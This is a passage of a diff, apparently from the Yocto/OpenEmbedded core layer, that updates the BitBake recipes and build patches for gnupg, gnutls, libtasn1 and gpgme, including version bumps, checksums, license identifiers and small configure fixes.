+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://0002-use-pkgconfig-instead-of-npth-config.patch \
+ file://0003-dirmngr-uses-libgpg-error.patch \
+ file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
+ file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
+ "
+SRC_URI:append:class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
+ file://relocate.patch"
+SRC_URI:append:class-nativesdk = " file://relocate.patch"
+
+SRC_URI[sha256sum] = "f3468ecafb1d7f9ad7b51fd1db7aebf17ceb89d2efa8a05cf2f39b4d405402ae"
+
+EXTRA_OECONF = "--disable-ldap \
+ --disable-ccid-driver \
+ --with-zlib=${STAGING_LIBDIR}/.. \
+ --with-bzip2=${STAGING_LIBDIR}/.. \
+ --with-readline=${STAGING_LIBDIR}/.. \
+ --with-mailprog=${sbindir}/sendmail \
+ --enable-gpg-is-gpg2 \
+ "
+
+# A minimal package containing just enough to run gpg+gpgagent (E.g. use gpgme in opkg)
+PACKAGES =+ "${PN}-gpg"
+FILES:${PN}-gpg = " \
+ ${bindir}/gpg \
+ ${bindir}/gpg2 \
+ ${bindir}/gpg-agent \
+"
+
+# Normal package (gnupg) should depend on minimal package (gnupg-gpg)
+# to ensure all tools are included. This is done only in non-native
+# builds. Native builds don't have sub-packages, so appending RDEPENDS
+# in this case breaks recipe parsing.
+RDEPENDS:${PN} += "${@ "" if ("native" in d.getVar("PN")) else (d.getVar("PN") + "-gpg")}"
+
+RRECOMMENDS:${PN} = "pinentry"
+
+do_configure:prepend () {
+ # Else these could be used in prefernce to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/ksba.m4
+ rm -f ${S}/m4/libgcrypt.m4
+}
+
+do_install:append() {
+ ln -sf gpg2 ${D}${bindir}/gpg
+ ln -sf gpgv2 ${D}${bindir}/gpgv
+}
+
+do_install:append:class-native() {
+ create_wrappers ${STAGING_BINDIR_NATIVE}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrappers ${SDKPATHNATIVE}${bindir_nativesdk}
+}
+
+create_wrappers() {
+ for i in gpg2 gpgconf gpg-agent gpg-connect-agent; do
+ create_wrapper ${D}${bindir}/$i GNUPG_BINDIR=$1
+ done
+}
+
+PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
+PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
index 34c8985c19..6eb1edbdb1 100644
--- a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
+++ b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
@@ -1,3 +1,8 @@
+From 8a5c96057cf305bbeac0d6e0e59ee24fbb9497fe Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Wed, 25 Jan 2017 13:52:59 -0800
+Subject: [PATCH] gnutls: account for ARM_EABI
+
Certain syscall's are not availabe for arm-eabi, so we eliminate
reference to them.
@@ -5,12 +10,18 @@ Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ tests/seccomp.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tests/seccomp.c b/tests/seccomp.c
+index ed14d00..3c5b726 100644
--- a/tests/seccomp.c
+++ b/tests/seccomp.c
-@@ -49,7 +49,9 @@ int disable_system_calls(void)
- }
+@@ -53,7 +53,9 @@ int disable_system_calls(void)
ADD_SYSCALL(nanosleep, 0);
+ ADD_SYSCALL(clock_nanosleep, 0);
+#if ! defined(__ARM_EABI__)
ADD_SYSCALL(time, 0);
+#endif
diff --git a/meta/recipes-support/gnutls/gnutls/posix-shell.patch b/meta/recipes-support/gnutls/gnutls/posix-shell.patch
deleted file mode 100644
index 938e2d1e18..0000000000
--- a/meta/recipes-support/gnutls/gnutls/posix-shell.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-Don't embed the path to the build-time POSIX shell as this will be
-$TMPDIR/hosttools/bash, which is no good on the target.
-
-Instead default to /bin/sh but allow it to be set in the environment.
-
-This isn't really upstreamable but I filed a bug at
-https://gitlab.com/gnutls/gnutls/issues/807 and hope a proper fix will be
-integrated.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/src/libopts/m4/libopts.m4 b/src/libopts/m4/libopts.m4
-index c6ad738..a62faca 100644
---- a/src/libopts/m4/libopts.m4
-+++ b/src/libopts/m4/libopts.m4
-@@ -112,21 +112,7 @@ AC_DEFUN([INVOKE_LIBOPTS_MACROS_FIRST],[
- AC_CHECK_FUNCS([mmap canonicalize_file_name snprintf strdup strchr \
- strrchr strsignal fchmod fstat chmod])
- AC_PROG_SED
-- [while :
-- do
-- POSIX_SHELL=`which bash`
-- test -x "$POSIX_SHELL" && break
-- POSIX_SHELL=`which dash`
-- test -x "$POSIX_SHELL" && break
-- POSIX_SHELL=/usr/xpg4/bin/sh
-- test -x "$POSIX_SHELL" && break
-- POSIX_SHELL=`/bin/sh -c '
-- exec 2>/dev/null
-- if ! true ; then exit 1 ; fi
-- echo /bin/sh'`
-- test -x "$POSIX_SHELL" && break
-- ]AC_MSG_ERROR([cannot locate a working POSIX shell])[
-- done]
-+ POSIX_SHELL="${POSIX_SHELL:-/bin/sh}"
- AC_DEFINE_UNQUOTED([POSIX_SHELL], ["${POSIX_SHELL}"],
- [define to a working POSIX compliant shell])
- AC_SUBST([POSIX_SHELL])
diff --git a/meta/recipes-support/gnutls/gnutls_3.6.8.bb b/meta/recipes-support/gnutls/gnutls_3.6.8.bb
deleted file mode 100644
index c927063f0a..0000000000
--- a/meta/recipes-support/gnutls/gnutls_3.6.8.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-SUMMARY = "GNU Transport Layer Security Library"
-HOMEPAGE = "http://www.gnu.org/software/gnutls/"
-BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-xx = "LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN}-openssl = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
- file://doc/COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
- file://doc/COPYING.LESSER;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-DEPENDS = "nettle gmp virtual/libiconv libunistring"
-DEPENDS_append_libc-musl = " argp-standalone"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
- file://arm_eabi.patch \
- file://posix-shell.patch \
-"
-
-SRC_URI[md5sum] = "9dcf0aa45d1a42e1b3ca5d39ec7c61a8"
-SRC_URI[sha256sum] = "aa81944e5635de981171772857e72be231a7e0f559ae0292d2737de475383e83"
-
-inherit autotools texinfo pkgconfig gettext lib_package gtk-doc
-
-PACKAGECONFIG ??= "libidn"
-
-# You must also have CONFIG_SECCOMP enabled in the kernel for
-# seccomp to work.
-PACKAGECONFIG[seccomp] = "ac_cv_libseccomp=yes,ac_cv_libseccomp=no,libseccomp"
-PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
-PACKAGECONFIG[libtasn1] = "--with-included-libtasn1=no,--with-included-libtasn1,libtasn1"
-PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
-PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
-
-EXTRA_OECONF = " \
- --enable-doc \
- --disable-libdane \
- --disable-guile \
- --disable-rpath \
- --enable-local-libopts \
- --enable-openssl-compatibility \
- --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
- --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
-"
-
-# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
-export POSIX_SHELL="${base_bindir}/sh"
-
-LDFLAGS_append_libc-musl = " -largp"
-
-do_configure_prepend() {
- for dir in . lib; do
- rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
- done
-}
-
-PACKAGES =+ "${PN}-openssl ${PN}-xx"
-
-FILES_${PN}-dev += "${bindir}/gnutls-cli-debug"
-FILES_${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
-FILES_${PN}-xx = "${libdir}/libgnutlsxx.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/gnutls_3.7.3.bb b/meta/recipes-support/gnutls/gnutls_3.7.3.bb
new file mode 100644
index 0000000000..ebabac1bd0
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls_3.7.3.bb
@@ -0,0 +1,68 @@
+SUMMARY = "GNU Transport Layer Security Library"
+DESCRIPTION = "a secure communications library implementing the SSL, \
+TLS and DTLS protocols and technologies around them."
+HOMEPAGE = "https://gnutls.org/"
+BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-xx = "LGPL-2.1-or-later"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+LICENSE:${PN}-OpenSSL = "GPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
+ file://doc/COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
+ file://doc/COPYING.LESSER;md5=a6f89e2100d9b6cdffcea4f398e37343"
+
+DEPENDS = "nettle gmp virtual/libiconv libunistring"
+DEPENDS:append:libc-musl = " argp-standalone"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
+ file://arm_eabi.patch \
+ "
+
+SRC_URI[sha256sum] = "fc59c43bc31ab20a6977ff083029277a31935b8355ce387b634fa433f8f6c49a"
+
+inherit autotools texinfo pkgconfig gettext lib_package gtk-doc
+
+PACKAGECONFIG ??= "libidn ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)}"
+
+# You must also have CONFIG_SECCOMP enabled in the kernel for
+# seccomp to work.
+PACKAGECONFIG[seccomp] = "--with-libseccomp-prefix=${STAGING_EXECPREFIXDIR},ac_cv_libseccomp=no,libseccomp"
+PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
+PACKAGECONFIG[libtasn1] = "--with-included-libtasn1=no,--with-included-libtasn1,libtasn1"
+PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
+PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
+
+EXTRA_OECONF = " \
+ --enable-doc \
+ --disable-libdane \
+ --disable-guile \
+ --disable-rpath \
+ --enable-openssl-compatibility \
+ --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-librt-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
+"
+
+# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
+export POSIX_SHELL="${base_bindir}/sh"
+
+LDFLAGS:append:libc-musl = " -largp"
+
+do_configure:prepend() {
+ for dir in . lib; do
+ rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
+ done
+}
+
+PACKAGES =+ "${PN}-openssl ${PN}-xx"
+
+FILES:${PN}-dev += "${bindir}/gnutls-cli-debug"
+FILES:${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
+FILES:${PN}-xx = "${libdir}/libgnutlsxx.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
index 2ac89f3b32..216d636793 100644
--- a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
+++ b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
@@ -1,14 +1,26 @@
+From 629fc6427710e48b78f8b1f300dd698fe898cfd4 Mon Sep 17 00:00:00 2001
+From: Marko Lindqvist <cazfi74@gmail.com>
+Date: Mon, 7 Jan 2013 01:49:40 +0200
+Subject: [PATCH] libtasn1: remove help2man dependency
+
Upstream-Status: Inappropriate
Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libtasn1-2.14/doc/Makefile.am libtasn1-2.14/doc/Makefile.am
---- libtasn1-2.14/doc/Makefile.am 2012-09-24 15:08:42.000000000 +0300
-+++ libtasn1-2.14/doc/Makefile.am 2013-01-03 07:35:26.702763403 +0200
-@@ -31,7 +31,7 @@
- AM_MAKEINFOHTMLFLAGS = $(AM_MAKEINFOFLAGS) \
- --no-split --number-sections --css-include=texinfo.css
+---
+ doc/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index a0171a5..8aa4d3d 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -28,7 +28,7 @@ libtasn1_TEXINFOS += asn1Coding-help.texi asn1Decoding-help.texi asn1Parser-help
+
+ AM_MAKEINFOHTMLFLAGS = --no-split $(AM_MAKEINFOFLAGS)
+
-dist_man_MANS = $(gdoc_MANS) asn1Parser.1 asn1Coding.1 asn1Decoding.1
+dist_man_MANS = $(gdoc_MANS)
-
+
HELP2MAN_OPTS = --info-page libtasn1
+
diff --git a/meta/recipes-support/gnutls/libtasn1/fix-gtkdoc.patch b/meta/recipes-support/gnutls/libtasn1/fix-gtkdoc.patch
deleted file mode 100644
index bfc9b9fca7..0000000000
--- a/meta/recipes-support/gnutls/libtasn1/fix-gtkdoc.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Upstream-Status: Backport [https://gitlab.com/gnutls/libtasn1/merge_requests/49]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From ebd4f871b5241809f6a5b461444a6d331e15c949 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 9 Sep 2019 13:11:39 +0100
-Subject: [PATCH] doc/reference: don't add empty object hierarchy chapter
-
-The object hierarchy section is empty because there are no GObjects in the
-libtasn1 API. With gtk-doc 1.30 onwards if there are no objects then the object
-hierarchy file won't exist, resulting in a failure when building the
-documentation:
-
-| ../libtasn1-docs.xml:39: element include: XInclude error : could not load ../xml/tree_index.sgml, and no fallback was found
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- doc/reference/libtasn1-docs.xml | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/doc/reference/libtasn1-docs.xml b/doc/reference/libtasn1-docs.xml
-index accdb85..f88b888 100644
---- a/doc/reference/libtasn1-docs.xml
-+++ b/doc/reference/libtasn1-docs.xml
-@@ -34,10 +34,6 @@
- <xi:include href="xml/libtasn1.xml"/>
-
- </chapter>
-- <chapter id="object-tree">
-- <title>Object Hierarchy</title>
-- <xi:include href="xml/tree_index.sgml"/>
-- </chapter>
- <index id="api-index-full">
- <title>API Index</title>
- <xi:include href="xml/api-index-full.xml"><xi:fallback /></xi:include>
---
-2.20.1
-
diff --git a/meta/recipes-support/gnutls/libtasn1/fix-ldflags.patch b/meta/recipes-support/gnutls/libtasn1/fix-ldflags.patch
deleted file mode 100644
index f18f3c6267..0000000000
--- a/meta/recipes-support/gnutls/libtasn1/fix-ldflags.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From a6f93b7ace347bc4fe29eb4a8fe4383d786cc8d0 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Tim=20R=C3=BChsen?= <tim.ruehsen@gmx.de>
-Date: Tue, 23 Jul 2019 20:44:01 +0200
-Subject: [PATCH] Fix LDFLAGS to AM_LDFLAGS in src/Makefile.am
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Signed-off-by: Tim Rühsen <tim.ruehsen@gmx.de>
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- src/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 5bf3622..4459767 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -21,7 +21,7 @@ AM_CPPFLAGS = -I$(top_builddir)/lib/includes -I$(top_srcdir)/lib/includes \
- -I$(top_builddir)/lib/gl -I$(top_srcdir)/lib/gl $(CODE_COVERAGE_CPPFLAGS)
-
- LDADD = ../lib/libtasn1.la
--LDFLAGS = $(CODE_COVERAGE_LDFLAGS)
-+AM_LDFLAGS = $(CODE_COVERAGE_LDFLAGS)
-
- bin_PROGRAMS = asn1Parser asn1Coding asn1Decoding
-
---
-2.21.0
-
diff --git a/meta/recipes-support/gnutls/libtasn1_4.14.bb b/meta/recipes-support/gnutls/libtasn1_4.14.bb
deleted file mode 100644
index ef2c1956a2..0000000000
--- a/meta/recipes-support/gnutls/libtasn1_4.14.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Library for ASN.1 and DER manipulation"
-HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE;md5=75ac100ec923f959898182307970c360"
-
-SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
- file://dont-depend-on-help2man.patch \
- file://fix-ldflags.patch \
- file://fix-gtkdoc.patch \
- "
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "e9918200ed4a778e2b3cbe34c1be4205"
-SRC_URI[sha256sum] = "9e604ba5c5c8ea403487695c2e407405820d98540d9de884d6e844f9a9c5ba08"
-
-inherit autotools texinfo lib_package gtk-doc
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/libtasn1_4.18.0.bb b/meta/recipes-support/gnutls/libtasn1_4.18.0.bb
new file mode 100644
index 0000000000..db49adc1c2
--- /dev/null
+++ b/meta/recipes-support/gnutls/libtasn1_4.18.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for ASN.1 and DER manipulation"
+DESCRIPTION = "A highly portable C library that encodes and decodes \
+DER/BER data following an ASN.1 schema. "
+HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING;md5=75ac100ec923f959898182307970c360"
+
+SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
+ file://dont-depend-on-help2man.patch \
+ "
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "4365c154953563d64c67a024b607d1ee75c6db76e0d0f65709ea80a334cd1898"
+
+inherit autotools texinfo lib_package gtk-doc
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
index 0ed4eb6818..0c15cc7c38 100644
--- a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
+++ b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
@@ -11,11 +11,11 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
- src/gpgme.m4 | 58 ++++++++++------------------------------------------------
+ src/gpgme.m4 | 58 +++++++++-------------------------------------------
1 file changed, 10 insertions(+), 48 deletions(-)
diff --git a/src/gpgme.m4 b/src/gpgme.m4
-index 2a72f18..6c2be44 100644
+index c749a5d..8579146 100644
--- a/src/gpgme.m4
+++ b/src/gpgme.m4
@@ -1,5 +1,5 @@
@@ -29,7 +29,7 @@ index 2a72f18..6c2be44 100644
# WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
--# Last-changed: 2018-11-12
+-# Last-changed: 2020-11-20
+# Last-changed: 2014-10-02
@@ -130,5 +130,5 @@ index 2a72f18..6c2be44 100644
ifelse([$2], , :, [$2])
_AM_PATH_GPGME_CONFIG_HOST_CHECK
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch b/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
index 827d95a151..35c6b4056c 100644
--- a/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
+++ b/meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch
@@ -12,22 +12,23 @@ RP 2015/4/17
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Rebase to 1.13.0
-
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Rebase to 1.17.0
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
configure.ac | 1 +
src/Makefile.am | 4 +-
- src/gpgme-pthread.pc.in | 15 +++++++
- src/gpgme.m4 | 114 ++++--------------------------------------------
+ src/gpgme-pthread.pc.in | 15 ++++++
+ src/gpgme.m4 | 114 +++-------------------------------------
src/gpgme.pc.in | 4 +-
5 files changed, 28 insertions(+), 110 deletions(-)
create mode 100644 src/gpgme-pthread.pc.in
diff --git a/configure.ac b/configure.ac
-index 25184f4..1c0a386 100644
+index 80ce79c..d7c0ac1 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -899,6 +899,7 @@ AC_CONFIG_FILES(Makefile src/Makefile
+@@ -905,6 +905,7 @@ AC_CONFIG_FILES(Makefile src/Makefile
src/gpgme-glib.pc
src/gpgme.h)
AC_CONFIG_FILES(src/gpgme-config, chmod +x src/gpgme-config)
@@ -36,7 +37,7 @@ index 25184f4..1c0a386 100644
AC_CONFIG_FILES(lang/cpp/tests/Makefile)
AC_CONFIG_FILES(lang/cpp/src/GpgmeppConfig-w32.cmake.in)
diff --git a/src/Makefile.am b/src/Makefile.am
-index d85a85c..d942f3e 100644
+index 39c341f..3aca716 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -20,11 +20,11 @@
@@ -75,7 +76,7 @@ index 0000000..074bbf6
+Cflags: -I${includedir}
+Requires: libassuan gpg-error
diff --git a/src/gpgme.m4 b/src/gpgme.m4
-index 6c2be44..d8a75cb 100644
+index 71b0010..30ec151 100644
--- a/src/gpgme.m4
+++ b/src/gpgme.m4
@@ -79,7 +79,7 @@ dnl config script does not match the host specification the script
@@ -274,18 +275,18 @@ index 6c2be44..d8a75cb 100644
- AC_SUBST(GPGME_GLIB_LIBS)
])
diff --git a/src/gpgme.pc.in b/src/gpgme.pc.in
-index be288b8..16f56ac 100644
+index 80d59de..932645b 100644
--- a/src/gpgme.pc.in
+++ b/src/gpgme.pc.in
@@ -9,6 +9,6 @@ Name: gpgme
Description: GnuPG Made Easy to access GnuPG
- Requires: gpg-error, libassuan
+ Requires.private: gpg-error, libassuan
Version: @PACKAGE_VERSION@
--Cflags: @GPGME_CONFIG_CFLAGS@
--Libs: @GPGME_CONFIG_LIBS@
+-Cflags: -I${includedir} @GPGME_CONFIG_CFLAGS@
+-Libs: -L${libdir} @GPGME_CONFIG_LIBS@
+Cflags: -I${includedir}
+Libs: -L${libdir} -lgpgme
URL: https://www.gnupg.org/software/gpgme/index.html
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
new file mode 100644
index 0000000000..f3de55f7b3
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
@@ -0,0 +1,30 @@
+From adb1d4e5498a19e9d591ac8f42f9ddfdb23a1354 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Jul 2021 12:33:13 -0700
+Subject: [PATCH] use closefrom() on linux and glibc 2.34+
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Rebase to 1.17.0
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
+---
+ src/posix-io.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/posix-io.c b/src/posix-io.c
+index 5c6cf1d..52e513a 100644
+--- a/src/posix-io.c
++++ b/src/posix-io.c
+@@ -570,7 +570,7 @@ _gpgme_io_spawn (const char *path, char *const argv[], unsigned int flags,
+ if (fd_list[i].fd > fd)
+ fd = fd_list[i].fd;
+ fd++;
+-#if defined(__sun) || defined(__FreeBSD__) || defined(__GLIBC__)
++#if defined(__sun) || defined(__FreeBSD__) || (defined(__GLIBC__) && __GNUC_PREREQ(2, 34))
+ closefrom (fd);
+ max_fds = fd;
+ #else /*!__sun */
+--
+2.25.1
+
diff --git a/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch b/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
index 3afbfc8638..dfea1bf78a 100644
--- a/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
+++ b/meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch
@@ -1,4 +1,4 @@
-From fc3d9cc218e60582fd158d21a1cd537a3dc1b007 Mon Sep 17 00:00:00 2001
+From 5bbf7a048b6d81d23186340e839f9f65b5b514b6 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 10 May 2019 16:19:54 +0800
Subject: [PATCH] do not auto check var-PYTHON
@@ -12,25 +12,23 @@ only check specific python 2.7 and 3.7
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
configure.ac | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/configure.ac b/configure.ac
-index cb2f073..7d74a6d 100644
+index 5ef00c0..bbcff93 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -423,8 +423,8 @@ if test "$found_py" = "1"; then
+@@ -425,8 +425,8 @@ if test "$found_py" = "1"; then
if test "$found_py" = "1" -o "$found_py3" = "1"; then
# Reset everything, so that we can look for another Python.
m4_foreach([mym4pythonver],
-- [[2.7],[3.4],[3.5],[3.6],[3.7],[3.8],[all]],
+- [[2.7],[3.4],[3.5],[3.6],[3.7],[3.8],[3.9],[all]],
- [unset PYTHON
+ [[2.7],[3.7]],
+ [
unset PYTHON_VERSION
unset PYTHON_CPPFLAGS
unset PYTHON_LDFLAGS
---
-2.7.4
-
diff --git a/meta/recipes-support/gpgme/gpgme_1.13.1.bb b/meta/recipes-support/gpgme/gpgme_1.13.1.bb
deleted file mode 100644
index 9fc1ae24a4..0000000000
--- a/meta/recipes-support/gpgme/gpgme_1.13.1.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "High-level GnuPG encryption/signing API"
-DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
-HOMEPAGE = "http://www.gnupg.org/gpgme.html"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
- file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
- file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
- file://0001-pkgconfig.patch \
- file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
- file://0003-Correctly-install-python-modules.patch \
- file://0004-python-import.patch \
- file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
- file://0006-fix-build-path-issue.patch \
